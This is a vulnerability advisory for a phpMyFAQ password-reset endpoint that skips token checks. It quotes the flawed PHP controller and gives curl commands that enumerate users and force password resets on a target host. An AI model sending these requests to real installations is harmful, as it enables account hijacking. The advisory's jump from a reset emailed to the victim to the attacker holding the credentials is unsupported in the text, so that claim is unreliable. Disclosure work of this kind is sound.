CVE-2026-35675: phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration

Summary An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.

Details File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php Lines: 56-130 The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body: #[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])] php public function updatePassword(Request $request): JsonResponse { $data = jsondecode($request->getContent()); $username = trim((string) Filter::filterVar($data->username, FILTERSANITIZESPECIALCHARS)); $email = trim((string) Filter::filterEmail($data->email)); if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) { $user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration); $loginExist = $user->getUserByLogin($username); if ($loginExist && $email === $user->getUserData('email')) { // NO TOKEN CHECK // NO RATE LIMITING // NO EMAIL VERIFICATION $newPassword = $user->createPassword(); $user->changePassword($newPassword); $mail->send(); // New password sent in plaintext } } }

Root Causes: 1. No time-limited cryptographic token required for password reset 2. No rate limiting on the endpoint (allows unlimited username/email enumeration) 3. No verification email sent to original address before reset 4. New password sent in plaintext email without any confirmation step

PoC Prerequisites: None (unauthenticated attack) Step 1 - Username/Email Enumeration (no rate limiting): Test with wrong email - reveals if user exists bash curl -X PUT -H "Content-Type: application/json" \ -d '{"username":"admin","email":"wrong@test.com"}' \ http://target/phpmyfaq/api/user/password/update Response: {"error":"The email doesn't exist..."} <- user exists but wrong email

OR

Response: {"error":"The user doesn't exist"} <- user doesn't exist

Step 2 - Password Reset (no token required): bash curl -X PUT -H "Content-Type: application/json" \ -d '{"username":"admin","email":"admin@target.com"}' \ http://target/phpmyfaq/api/user/password/update

Response: {"success":"Email has been sent."} The new plaintext password is sent to admin@target.com

Step 3 - Account Takeover: Attacker now has valid credentials and can log in as SuperAdmin.

Impact Aspect Details Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640) Attack Vector Network (unauthenticated HTTP request) Privileges Required None User Interaction None Scope Full administrative access to phpMyFAQ Confidentiality High - attacker gains full access to all user data and FAQ content Integrity High - attacker can modify all content and settings Availability High - attacker can lock out legitimate users Who is Impacted: - All phpMyFAQ administrators using default installations - Any organization using phpMyFAQ for internal knowledge bases - End users whose accounts could be compromised - Organizations relying on phpMyFAQ for customer support FAQs Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address